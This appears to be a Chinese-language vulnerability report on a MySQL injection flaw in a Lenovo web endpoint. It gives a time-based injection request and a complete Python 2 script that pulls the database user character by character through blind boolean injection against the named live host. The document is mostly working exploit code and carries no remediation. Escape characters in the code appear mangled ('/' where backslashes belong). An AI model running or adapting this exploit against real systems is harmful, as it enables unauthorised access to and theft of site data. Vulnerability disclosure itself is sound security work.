联想又一分站MySQL注射

POST http://open.lenovo.com/data/eventDefineAction.do?method=getHideEvent
 
 eventDefine=%7B%22appKey%22%3A%22IXZ28THWMVEM%22%2C%22eventAction%22%3A%22e%25%27%20AND%20sleep%2810%29%20AND%20%27000BYIu%27%21%3D%27000BYIu%25%22%2C%22eventName%22%3A%22%22%7D&getDataTotal=1&page=1&rows=10&sortOrderBy=&sortRule=desc

MySQL user is 

#encoding=gbk
 import httplib
 import time
 import string
 import sys
 import random
 import urllib
 
 headers = {
     'Content-Type': 'application/x-www-form-urlencoded',
     'Cookie': '',
     'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
 }
 
 payloads = list(string.ascii_lowercase)
 for i in range(0,10):
     payloads.append(str(i))
 payloads += ['@','_', '.']
 
 print 'start to retrive MySQL user:'
 user = ''
 for i in range(1,30,1):
     for payload in payloads:
         conn = httplib.HTTPConnection('open.lenovo.com', timeout=30)
         rand_num = str(random.random())
         body = 'getDataTotal=1&page=1&rows=10&sortOrderBy=&sortRule=desc&eventDefine='
         s = '{"appKey":"IXZ28THWMVEM","eventAction":"a/%/' AND ' + /
             'ascii(mid(user()from(%s)for(1)))=%s' % (i, ord(payload)) + /
             ' AND /'aaa/'!=/'bbb/%","eventName":""}' 
         body += urllib.quote(s)
         conn.request(method='POST',
                      url='/data/eventDefineAction.do?method=getHideEvent',
                      body = body,
                      headers = headers)
         start_time = time.time()
         html_doc = conn.getresponse().read()
         conn.close()
         print '.',
         if html_doc.find('{"total":0') < 0:  # 返回了结果
             user += payload
             print '/n[in progress]', user
             break
 
 print '/nMySQL user is', user